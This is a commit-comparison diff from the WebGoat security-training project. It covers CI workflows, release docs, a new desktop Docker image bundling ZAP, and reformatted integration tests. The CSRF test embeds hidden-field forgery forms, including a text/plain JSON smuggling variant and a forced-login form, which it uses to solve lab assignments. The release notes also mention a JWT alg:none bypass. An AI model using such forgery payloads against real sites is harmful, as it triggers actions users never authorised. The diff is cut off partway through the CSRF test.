Compare commits
33 Commits
Author | SHA1 | Date | |
---|---|---|---|
5ef865a54b | |||
0f38519ecf | |||
4c95c9ec6a | |||
f6c7a54931 | |||
f1012c85d6 | |||
ecfc321f14 | |||
73b8c431fc | |||
b68adfbc7c | |||
1a2855afcd | |||
693771220c | |||
075b1ab30a | |||
390ff39f19 | |||
3ec34b0df5 | |||
eb4c8388f8 | |||
ae081ce319 | |||
bd398e4c09 | |||
c9d1653d4f | |||
77c91b8df8 | |||
f9b810c5ee | |||
dc0fc09679 | |||
a0173fd8f8 | |||
edd9aa36c2 | |||
81ed738493 | |||
a108a937b5 | |||
6398d31c14 | |||
7847e69574 | |||
7881a70273 | |||
45c420ed05 | |||
2c6c103f3b | |||
c0ce72a2bd | |||
a4f7059051 | |||
bd16fedb33 | |||
c8ac054093 |
@ -1,3 +1,4 @@
|
||||
**
|
||||
|
||||
!/target
|
||||
!/config/desktop
|
||||
|
58
.github/workflows/build.yml
vendored
58
.github/workflows/build.yml
vendored
@ -1,21 +1,10 @@
|
||||
name: "Build"
|
||||
name: "Pull requests build"
|
||||
on:
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- '.txt'
|
||||
- 'LICENSE'
|
||||
- 'docs/**'
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- develop
|
||||
- release/*
|
||||
tags-ignore:
|
||||
- '*'
|
||||
paths-ignore:
|
||||
- '.txt'
|
||||
- 'LICENSE'
|
||||
- 'docs/**'
|
||||
|
||||
jobs:
|
||||
pr-build:
|
||||
@ -28,7 +17,7 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
os: [ ubuntu-latest, windows-latest, macos-latest ]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Set up JDK 17
|
||||
@ -38,31 +27,34 @@ jobs:
|
||||
java-version: 17
|
||||
architecture: x64
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v3.2.3
|
||||
uses: actions/cache@v3.2.5
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||
restore-keys: ${{ runner.os }}-m2-
|
||||
- name: Build with Maven
|
||||
run: mvn --no-transfer-progress verify
|
||||
|
||||
build:
|
||||
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
|
||||
runs-on: ubuntu-latest
|
||||
name: "Branch build"
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: set up JDK 17
|
||||
uses: actions/setup-java@v3
|
||||
- name: "Set up QEMU"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/setup-qemu-action@v2.1.0
|
||||
- name: "Set up Docker Buildx"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/setup-buildx-action@v2
|
||||
- name: "Verify Docker WebGoat build"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/build-push-action@v4.0.0
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
architecture: x64
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v3.2.3
|
||||
context: ./
|
||||
file: ./Dockerfile
|
||||
push: false
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
- name: "Verify Docker WebGoat desktop build"
|
||||
uses: docker/build-push-action@v4.0.0
|
||||
if: runner.os == 'Linux'
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
||||
restore-keys: ubuntu-latest-m2-
|
||||
- name: Test with Maven
|
||||
run: mvn --no-transfer-progress verify
|
||||
context: ./
|
||||
file: ./Dockerfile_desktop
|
||||
push: false
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
|
63
.github/workflows/release.yml
vendored
63
.github/workflows/release.yml
vendored
@ -13,19 +13,15 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
- name: "Get tag name"
|
||||
id: tag
|
||||
uses: dawidd6/action-get-tag@v1
|
||||
|
||||
- name: Set up JDK 17
|
||||
uses: actions/setup-java@v3
|
||||
with:
|
||||
distribution: 'zulu'
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
architecture: x64
|
||||
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v3.2.3
|
||||
uses: actions/cache@v3.2.5
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||
@ -33,8 +29,8 @@ jobs:
|
||||
|
||||
- name: "Set labels for ${{ github.ref }}"
|
||||
run: |
|
||||
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
|
||||
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
|
||||
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
|
||||
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
|
||||
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
||||
- name: Build with Maven
|
||||
run: |
|
||||
@ -89,8 +85,8 @@ jobs:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: "Build and push"
|
||||
uses: docker/build-push-action@v3.2.0
|
||||
- name: "Build and push WebGoat"
|
||||
uses: docker/build-push-action@v4.0.0
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile
|
||||
@ -102,22 +98,27 @@ jobs:
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
|
||||
- name: "Image digest"
|
||||
run: echo ${{ steps.docker_build.outputs.digest }}
|
||||
- name: "Build and push WebGoat desktop"
|
||||
uses: docker/build-push-action@v4.0.0
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile_desktop
|
||||
push: true
|
||||
platforms: linux/amd64, linux/arm64, linux/arm/v7
|
||||
tags: |
|
||||
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
|
||||
webgoat/webgoat-desktop:latest
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
new_version:
|
||||
permissions:
|
||||
contents: write # for Git to git push
|
||||
if: github.repository == 'WebGoat/WebGoat'
|
||||
name: Update development version
|
||||
name: Update to next SNAPSHOT version
|
||||
needs: [ release ]
|
||||
runs-on: ubuntu-latest
|
||||
environment:
|
||||
name: release
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
ref: develop
|
||||
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up JDK 17
|
||||
uses: actions/setup-java@v3
|
||||
@ -127,12 +128,20 @@ jobs:
|
||||
|
||||
- name: Set version to next snapshot
|
||||
run: |
|
||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
|
||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
|
||||
|
||||
- name: Push the changes to new branch
|
||||
uses: devops-infra/action-commit-push@v0.9.2
|
||||
with:
|
||||
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
add_timestamp: true
|
||||
commit_message: "Updating to the new development version"
|
||||
force: false
|
||||
|
||||
- name: Create PR
|
||||
uses: devops-infra/action-pull-request@v0.5.5
|
||||
with:
|
||||
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
title: ${{ github.event.commits[0].message }}
|
||||
target_branch: main
|
||||
|
||||
- name: Commit pom.xml
|
||||
run: |
|
||||
git config user.name webgoat-github
|
||||
git config user.email owasp.webgoat@gmail.com
|
||||
find . -name 'pom.xml' | xargs git add
|
||||
git commit -m "Updating to the new development version"
|
||||
git push
|
||||
|
9
.github/workflows/test.yml
vendored
9
.github/workflows/test.yml
vendored
@ -2,14 +2,11 @@ name: "UI-Test"
|
||||
on:
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- '.txt'
|
||||
- '*.MD'
|
||||
- '*.md'
|
||||
- 'LICENSE'
|
||||
- 'docs/**'
|
||||
push:
|
||||
# tags-ignore:
|
||||
# - '*'
|
||||
tags-ignore:
|
||||
- 'v*'
|
||||
paths-ignore:
|
||||
- '.txt'
|
||||
- '*.MD'
|
||||
@ -40,7 +37,7 @@ jobs:
|
||||
architecture: x64
|
||||
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v3.2.3
|
||||
uses: actions/cache@v3.2.5
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
||||
|
@ -86,7 +86,7 @@ For example: `Fix #545` or `Closes #10`
|
||||
|
||||
```bash
|
||||
$ git fetch upstream
|
||||
$ git merge upstream/develop
|
||||
$ git merge upstream/main
|
||||
```
|
||||
|
||||
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
||||
|
@ -2,31 +2,19 @@
|
||||
|
||||
### Version numbers
|
||||
|
||||
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
|
||||
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
|
||||
`v8.0.0` in the `pom.xml`
|
||||
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
|
||||
and 2023.01 in the `pom.xml`.
|
||||
|
||||
### Release notes:
|
||||
|
||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
|
||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
|
||||
committers.
|
||||
|
||||
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
|
||||
|
||||
```
|
||||
git checkout develop
|
||||
git flow release start <version>
|
||||
git flow release publish
|
||||
|
||||
<<Make changes if necessary>>
|
||||
<<Update RELEASE_NOTES.md>>
|
||||
|
||||
git flow release finish <version>
|
||||
git push origin develop
|
||||
git push origin main
|
||||
mvn versions:set
|
||||
<< update release notes >>
|
||||
git commit ....
|
||||
git tag v2023.01
|
||||
git push --tags
|
||||
```
|
||||
|
||||
Now Travis takes over and will create the release in Github and on Docker Hub.
|
||||
|
||||
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
|
||||
|
@ -1,8 +1,11 @@
|
||||
FROM docker.io/eclipse-temurin:17-jre-focal
|
||||
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||
MAINTAINER "WebGoat team"
|
||||
|
||||
RUN useradd -ms /bin/bash webgoat
|
||||
RUN chgrp -R 0 /home/webgoat
|
||||
RUN chmod -R g=u /home/webgoat
|
||||
RUN \
|
||||
useradd -ms /bin/bash webgoat && \
|
||||
chgrp -R 0 /home/webgoat && \
|
||||
chmod -R g=u /home/webgoat
|
||||
|
||||
USER webgoat
|
||||
|
||||
|
29
Dockerfile_desktop
Normal file
29
Dockerfile_desktop
Normal file
@ -0,0 +1,29 @@
|
||||
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
|
||||
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||
MAINTAINER "WebGoat team"
|
||||
|
||||
WORKDIR /config
|
||||
|
||||
COPY target/webgoat-*.jar /config/webgoat.jar
|
||||
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
|
||||
COPY config/desktop/start_zap.sh /config/start_zap.sh
|
||||
COPY config/desktop/WebGoat.txt /config/Desktop/
|
||||
|
||||
RUN \
|
||||
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
|
||||
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
|
||||
rm -rf ZAP_2.12.0_Linux.tar.gz && \
|
||||
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||
tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||
rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
|
||||
chmod +x /config/start_webgoat.sh && \
|
||||
chmod +x /config/start_zap.sh && \
|
||||
apt-get update && \
|
||||
apt-get --yes install vim nano && \
|
||||
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
|
||||
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
|
||||
|
||||
|
||||
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
|
||||
|
||||
WORKDIR /config/Desktop
|
26
README.md
26
README.md
@ -27,24 +27,26 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
|
||||
Claiming that you were doing security research will not work as that is the
|
||||
first thing that all hackers claim.*
|
||||
|
||||

|
||||
|
||||
# Installation instructions:
|
||||
|
||||
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
||||
|
||||
## 1. Run using Docker
|
||||
|
||||
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
|
||||
|
||||
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
||||
|
||||
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
|
||||
|
||||
```shell
|
||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||
```
|
||||
|
||||
If you want to reuse the container, give it a name:
|
||||
|
||||
```shell
|
||||
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
||||
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||
```
|
||||
|
||||
As long as you don't remove the container you can use:
|
||||
@ -55,9 +57,15 @@ docker start webgoat
|
||||
|
||||
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
|
||||
|
||||
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
|
||||
## 2. Run using Docker with complete Linux Desktop
|
||||
|
||||
## 2. Standalone
|
||||
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
|
||||
|
||||
```shell
|
||||
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
|
||||
```
|
||||
|
||||
## 3. Standalone
|
||||
|
||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||
|
||||
@ -67,7 +75,7 @@ java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-
|
||||
|
||||
Click the link in the log to start WebGoat.
|
||||
|
||||
## 3. Run from the sources
|
||||
## 4. Run from the sources
|
||||
|
||||
### Prerequisites:
|
||||
|
||||
@ -96,7 +104,7 @@ git checkout <<branch_name>>
|
||||
docker build -f Dockerfile . -t webgoat/webgoat
|
||||
```
|
||||
|
||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
||||
Now we are ready to run the project. WebGoat is using Spring Boot.
|
||||
|
||||
```Shell
|
||||
# On Linux/Mac:
|
||||
@ -131,6 +139,6 @@ java -jar target/webgoat-2023.3-SNAPSHOT.jar
|
||||
Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
||||
|
||||
```Shell
|
||||
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
||||
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
||||
```
|
||||
|
||||
|
@ -1,5 +1,18 @@
|
||||
# WebGoat release notes
|
||||
|
||||
## Version 2023.4
|
||||
|
||||
### New functionality
|
||||
|
||||
- [#1422 Add Docker Linux Desktop variant with all tools installed ](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
|
||||
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
|
||||
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
|
||||
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
|
||||
|
||||
## Version 2023.3
|
||||
|
||||
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
|
||||
|
10
config/desktop/WebGoat.txt
Normal file
10
config/desktop/WebGoat.txt
Normal file
@ -0,0 +1,10 @@
|
||||
** Welcome to WebGoat desktop image
|
||||
|
||||
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
|
||||
You can start WebGoat and ZAP by opening a terminal and type:
|
||||
|
||||
./start-webgoat.sh
|
||||
./start_zap.sh
|
||||
|
||||
Happy hacking,
|
||||
Team WebGoat
|
17
config/desktop/start_webgoat.sh
Normal file
17
config/desktop/start_webgoat.sh
Normal file
@ -0,0 +1,17 @@
|
||||
#!/bin/sh
|
||||
|
||||
/config/jdk-17.0.6+10-jre/bin/java \
|
||||
-Duser.home=/config \
|
||||
-Dfile.encoding=UTF-8 \
|
||||
-DTZ=Europe/Amsterdam \
|
||||
--add-opens java.base/java.lang=ALL-UNNAMED \
|
||||
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
|
||||
--add-opens java.base/java.text=ALL-UNNAMED \
|
||||
--add-opens java.desktop/java.beans=ALL-UNNAMED \
|
||||
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
|
||||
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
|
||||
--add-opens java.base/java.io=ALL-UNNAMED \
|
||||
--add-opens java.base/java.util=ALL-UNNAMED \
|
||||
-Drunning.in.docker=false \
|
||||
-jar /config/webgoat.jar
|
3
config/desktop/start_zap.sh
Normal file
3
config/desktop/start_zap.sh
Normal file
@ -0,0 +1,3 @@
|
||||
#!/bin/sh
|
||||
|
||||
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
|
BIN
docs/images/webgoat.png
Normal file
BIN
docs/images/webgoat.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 319 KiB |
12
pom.xml
12
pom.xml
@ -10,7 +10,7 @@
|
||||
</parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat</artifactId>
|
||||
<version>2023.3</version>
|
||||
<version>2023.4</version>
|
||||
<packaging>jar</packaging>
|
||||
|
||||
<name>WebGoat</name>
|
||||
@ -536,6 +536,11 @@
|
||||
<flexmark></flexmark>
|
||||
</markdown>
|
||||
<java>
|
||||
<includes>
|
||||
<include>src/main/java/**/*.java</include>
|
||||
<include>src/test/java/**/*.java</include>
|
||||
<include>src/it/java/**/*.java</include>
|
||||
</includes>
|
||||
<removeUnusedImports></removeUnusedImports>
|
||||
<googleJavaFormat>
|
||||
<style>GOOGLE</style>
|
||||
@ -650,8 +655,9 @@
|
||||
<argument>java</argument>
|
||||
<argument>-jar</argument>
|
||||
<argument>-Dlogging.pattern.console=</argument>
|
||||
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
|
||||
<argument>-Dspring.main.banner-mode=off</argument>
|
||||
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
|
||||
<argument>-Dwebgoat.port=${webgoat.port}</argument>
|
||||
<argument>-Dwebwolf.port=${webwolf.port}</argument>
|
||||
<argument>--add-opens</argument>
|
||||
@ -675,7 +681,7 @@
|
||||
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
|
||||
</arguments>
|
||||
<waitForInterrupt>false</waitForInterrupt>
|
||||
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
|
||||
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
|
||||
</configuration>
|
||||
</execution>
|
||||
<execution>
|
||||
|
@ -1,13 +1,11 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import org.apache.http.HttpStatus;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
class AccessControlIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
@ -21,7 +19,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
||||
}
|
||||
|
||||
private void assignment3() {
|
||||
//direct call should fail if user has not been created
|
||||
// direct call should fail if user has not been created
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
@ -31,8 +29,9 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||
|
||||
//create user
|
||||
var userTemplate = """
|
||||
// create user
|
||||
var userTemplate =
|
||||
"""
|
||||
{"username":"%s","password":"%s","admin": "true"}
|
||||
""";
|
||||
RestAssured.given()
|
||||
@ -45,7 +44,7 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_OK);
|
||||
|
||||
//get the users
|
||||
// get the users
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
@ -59,7 +58,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
|
||||
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||
checkAssignment(
|
||||
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
private void assignment2() {
|
||||
|
@ -1,8 +1,18 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import lombok.Data;
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
public class CSRFIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML3 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
|
||||
"</form>\n" +
|
||||
"</body></html>";
|
||||
private static final String trickHTML4 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"validateReq\""
|
||||
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
|
||||
+ "</form>\n"
|
||||
+ "</body></html>";
|
||||
|
||||
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
|
||||
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML7 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
|
||||
+ " method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\""
|
||||
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
|
||||
+ " is the best!!' value='\"}' />\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
|
||||
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML8 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private String webwolfFileDir;
|
||||
|
||||
@ -61,7 +67,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||
uploadTrickHtml(
|
||||
"csrf8.html",
|
||||
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
@ -70,27 +78,26 @@ public class CSRFIntegrationTest extends IntegrationTest {
|
||||
